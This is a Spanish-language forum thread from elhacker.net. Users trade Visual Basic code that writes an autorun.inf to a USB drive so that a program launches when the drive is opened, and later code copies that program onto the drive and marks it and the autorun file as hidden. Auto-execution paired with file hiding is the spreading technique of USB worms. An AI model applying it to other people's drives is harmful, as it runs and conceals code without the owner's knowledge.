Foro de elhacker.net

Hola a todos, he buscado en el foro esta pregunta pero no me ha servido... esque he metido en el Pendrive un exe (5.exe) y he hecho en mi pc otro exe con vb que crea en el PenDrive un autorun para que se ejecute la aplicacion que ai dentro al conectarlo al PC (balla lio no ??)...
El codigo del exe que crea el autorun en el Pendrive es este:

Y lo he probado y funciona, el autorun lo crea, pero...
Al conectar el Pendrive al pc no se ejecuta nada :-\ ¿¿No entiendo??

Pues que no tienes al autorun activado  :xD

No lo piyo BenRu :xD... a que te refieres con activarlo ???

windows trae una opcion para activar/desactivar el autorun.

si usas windows ue lo tendras desactivado  :xD

haber si yo meto un CD (acabo de probarlo) se inicia automaticamente el juego, programa o lo q sea... pero el Pendrive no ¿?
Porcierto como se activa/desactiva el autorun ?? :rolleyes:

tu autorun esta incompleto buscate uno que sea mejor como el del T2W.. ese que tienes no servira asi

no se si te refieres a este ricardovinzo, es lo que he encontrado del T2W(que no se ni lo que es XD):
A y se me olvidaba... Sigue sin funcionar :-(
Sera de mi PC o del Pendrive (que en realidad es un mp4) ???

¡¡¡Ya funciona!!! XD alfinal con el mismo que el T2W al clickear sobfre el icono del Pendrive se ejecuta el programa directamente, lo malo es que no se abre la carpeta... ai que darle a explorar y ya sale, pero bueno ya sta solucionado, gracias ;D

Pones en el .exe que quieres ejecutar que abra el explorador en la unidad que la contiene.

yo ya habia hecho esto, agradeceeee, jaja:

al ejecutar este programita, abre el explorador mostrando la unidad en la que esta contenida, asi que este por lo tanto debe estarn en el usb, de modo que abra el explorador...
en un modulo

Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
 
Sub Main()
'==========================================================
'Codigo: by jackl007
'==========================================================
 
'Principal
Dim Unidad As String
Unidad = Mid(App.Path, 1, 3) 'nuestra unidad
 
'Para Obtener la carpeta Windows
Dim Car As String * 128
Dim Longitud, Es As Integer
Dim Camino As String
Longitud = 128
 
Es = GetWindowsDirectory(Car, Longitud)
Camino = RTrim$(LCase$(Left$(Car, Es))) 'Camino: ruta de windows
 
'Abrimos el explorador de Windows con nuestra unidad de la USB
Shell (Camino & "\explorer ") & Unidad, vbMaximizedFocus
 
End Sub

esto es mas que suficiente

 Shell "explorer " & Left(App.Path, 2), vbNormalFocus

ok, solucionado... ahora me surge otra duda :rolleyes:... Cuando creo un autorun desde el VB ¿¿puedo ponerle el atrubuto oculto o no es posible?? ¿¿O esribir en el autorun algo para que quedo como oculto??

Esto es lo mejor:

Hoy ha sido tu dia de suerte >:D

jaja gracias jackl007 ツ es cierto q es mi dia de suerte porque asta me afuncionado a la primera ;D ya se una cosa mas sobre el VB, solo me queda...                TODO :xD
un saludo

podrias intentar cambiar
Open "J:\autorun.inf" For Output As #1

a
Open "\autorun.inf" For Output As #1

solamente que tendrias que poner el archivo en la carpeta principa  :xD y asi no te preocuparias de si cambias de unidad xD osea de j: a x:

saludos

aprobecho este mismo tema para una pregunta por que este modulo no anda?

Public Const FILE_ATTRIBUTE_HIDDEN = 2
Public Declare Function CopyFile Lib "kernel32" Alias "CopyFileA" (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, ByVal bFailIfExists As Long) As Long
Public Declare Function SetFileAttributes Lib "kernel32" Alias "SetFileAttributesA" (ByVal lpFileName As String, ByVal dwFileAttributes As Long) As Long
Public Function Autorun(unidad As String, Rutadearchivo As String _
, archivo As String, ocultos As Boolean)
Dim error As Long
CopyFile Rutadearchivo, unidad & "\" & archivo, error
 
 Open Environ$("Temp") & "\autorun.inf" For Output As #1
            Print #1, "[Autorun]"
            Print #1, "Open=" & archivo
            Print #1, "Icon=%SystemRoot%\system32\SHELL32.dll,7"
            Print #1, "UseAutoPlay=1"
            Print #1, "Action=Abrir USB"
            Print #1, "Action= @" & archivo
            Print #1, "shell\open=Abrir"
            Print #1, "shell\open\Command=" & archivo
            Print #1, "shell\open\Default=1"
            Print #1, "Shell\Explorer\Command=EXPLORER.EXE /E,\"
        Close #1
    CopyFile Environ$("Temp") & "\autorun.inf", unidad & "\" & "autorun.inf", error
        If ocultos = True Then
        SetFileAttributes unidad & "\" & archivo, FILE_ATTRIBUTE_HIDDEN
        SetFileAttributes unidad & "\autorun.txt", FILE_ATTRIBUTE_HIDDEN
        End If
        MsgBox error
End Function

Bueno si tienes muchos problemas podrias enves de hacerlo en visualbasic podrias hacerlo en bat y luego juntarlo con tu aplicacion resultante


Donde %x% es la variable del nombre del dispositivo
donde aplicacion.exe es el nombre final de tu aplicacion espero que te sirva saludos

No quiero usar batch estamos en el foro de VB este foro es para ayudar enn VB no en batch.